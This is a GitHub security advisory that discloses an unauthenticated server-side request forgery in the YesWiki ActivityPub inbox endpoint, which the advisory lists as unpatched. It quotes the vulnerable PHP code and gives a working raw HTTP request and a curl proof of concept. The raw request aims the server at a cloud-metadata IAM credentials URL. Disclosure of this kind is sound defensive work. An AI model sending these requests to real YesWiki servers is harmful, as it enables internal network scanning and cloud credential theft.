Skip to content

Unauthenticated Server-Side Request Forgery via ActivityPub `Signature.keyId`

High
mrflos published GHSA-vw42-752g-5mrp Jun 2, 2026

Package

composer yeswiki/yeswiki (Composer)

Affected versions

v4.6.2, v4.6.3, v4.6.4, v4.6.5

Patched versions

None

Description

Summary

The POST /api/forms/{formId}/actor/inbox route - exposed publicly with acl:"public" - accepts an HTTP Signature header whose keyId parameter is a URL. HttpSignatureService::verifySignature() parses the header and immediately makes a server-side HTTP GET to that URL, before any cryptographic verification or URL validation. An unauthenticated remote attacker can therefore make YesWiki issue arbitrary outbound HTTP requests to any host the server can reach - internal services, cloud-metadata endpoints (169.254.169.254), intranet-only admin panels, etc. - and read enough back via timing and error-message oracles to scan ports, enumerate services, and (on a real cloud instance) reach IAM metadata.

The only deployment-side precondition is that ActivityPub be enabled on at least one Bazar form (bn_activitypub_enable = '1').

Details

Affected component

  • File: tools/bazar/services/HttpSignatureService.php
  • Method: HttpSignatureService::verifySignature(Request $request)
  • Sink: line 96
  • Route: tools/bazar/controllers/ApiController.php line 125@Route("/api/forms/{formId}/actor/inbox", methods={"POST"}, options={"acl":{"public"}})
// tools/bazar/services/HttpSignatureService.php  (v4.6.5 = origin/doryphore-dev HEAD,
// lines 83–100)
public function verifySignature(Request $request) {
    if (!$request->headers->has('Signature')) {
        throw new Exception('No signature');
    }

    $sigConf = parse_ini_string(
        strtr($request->headers->get('Signature'), ["," => "\n"])           // (a) attacker controls every field
    );

    if (!isset($sigConf['keyId'],$sigConf['algorithm'],$sigConf['headers'],$sigConf['signature'])) {
        throw new Exception('Malformed signature');
    }

    $response = $this->httpClient->request('GET', $sigConf['keyId'], [    // (b) SINK — no validation,
        'headers' => [ 'Accept' => 'application/ld+json']                 //     no allowlist, no scheme
    ]);                                                                  //     pinning, no IP filtering
    ...
}

The inbox controller calls verifySignature() before running any cryptography:

// tools/bazar/controllers/ApiController.php  (lines 125–145)
/** @Route("/api/forms/{formId}/actor/inbox", methods={"POST"}, options={"acl":{"public"}}) */
public function postFormActorInbox($formId, Request $request)
{
    $activityPubService   = $this->getService(ActivityPubService::class);
    $httpSignatureService = $this->getService(HttpSignatureService::class);

    $form = $this->getService(BazarListService::class)->getForms(['idtypeannonce' => $formId])[$formId];

    if ($activityPubService->isEnabled($form)) {
        $activity = json_decode($request->getContent(), true);

        $httpSignatureService->verifySignature($request);     // <-- SSRF fires here
        $activityPubService->processActivity($activity, $form);
        return new ApiResponse(null, Response::HTTP_OK, …);
    } else {
        throw new NotFoundHttpException();
    }
}

The flow is public ACL → enabled-form gate → unconditional outbound HTTP. The attacker controls only the keyId value and never has to produce a valid signature, because the outbound fetch is the very first thing that touches the network.

End-to-end attack chain

A single HTTP request, no session, no CSRF token, no captcha:

POST /?api/forms/1/actor/inbox HTTP/1.1
Host: target.example
Content-Type: application/activity+json
Signature: keyId="http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>",algorithm="rsa-sha256",headers="x",signature="y"

{}
  • The Symfony controller matches the route on formId=1.
  • ActivityPubService::isEnabled($form) returns true (set when the operator turned the feature on).
  • verifySignature() parses the header into a key-value array, finds keyId, and calls httpClient->request('GET', '<attacker URL>').
  • YesWiki's server now reaches out to whatever URL the attacker provided. The response body is parsed as JSON; if it doesn't contain publicKey.publicKeyPem the controller returns an HTTP 500 whose JSON body leaks the full exception message and stack trace, including the URL.

PoC

Pre Reqs

  • Yeswiki v4.6.5 lab image (Setup via podman)
  • ActivityPub enabled on the target form

For the rest of this document:

BASE="http://localhost:8085"
CTR="yeswiki-poc"

Before we start, make sure ActivityPub is enabled on the target form

podman exec "$CTR" mysql -uroot yeswiki -e \
    "SELECT bn_id_nature AS id, bn_label_nature AS form, bn_activitypub_enable AS ap
     FROM yeswiki_nature WHERE bn_id_nature = 1;"

Send the unauthenticated SSRF trigger:

TARGET="http://127.0.0.1:9999/aws-metadata?from=ssrf"

curl -s -X POST "${BASE}/?api/forms/1/actor/inbox" \
     -H "Content-Type: application/activity+json" \
     -H "Signature: keyId=\"${TARGET}\",algorithm=\"rsa-sha256\",headers=\"x\",signature=\"y\"" \
     -d '{}' \
     -w '\n  HTTP %{http_code}, elapsed=%{time_total}s\n'

You will get an error in response like this:

{"exceptionMessage":"Exception: Missing public key in /var/www/html/tools/bazar/services/HttpSignatureService.php:103\nStack trace:…"}
  HTTP 500, elapsed=0.15s

The 500 and the "Missing public key" exception are the signal the outbound fetch went all the way to the JSON parse — the listener returned {}, which contained no publicKey field, so the handler bailed after talking to the listener.

Tested with webhook:
image

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L

CVE ID

CVE-2026-52769

Weaknesses

Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Learn more on MITRE.

Credits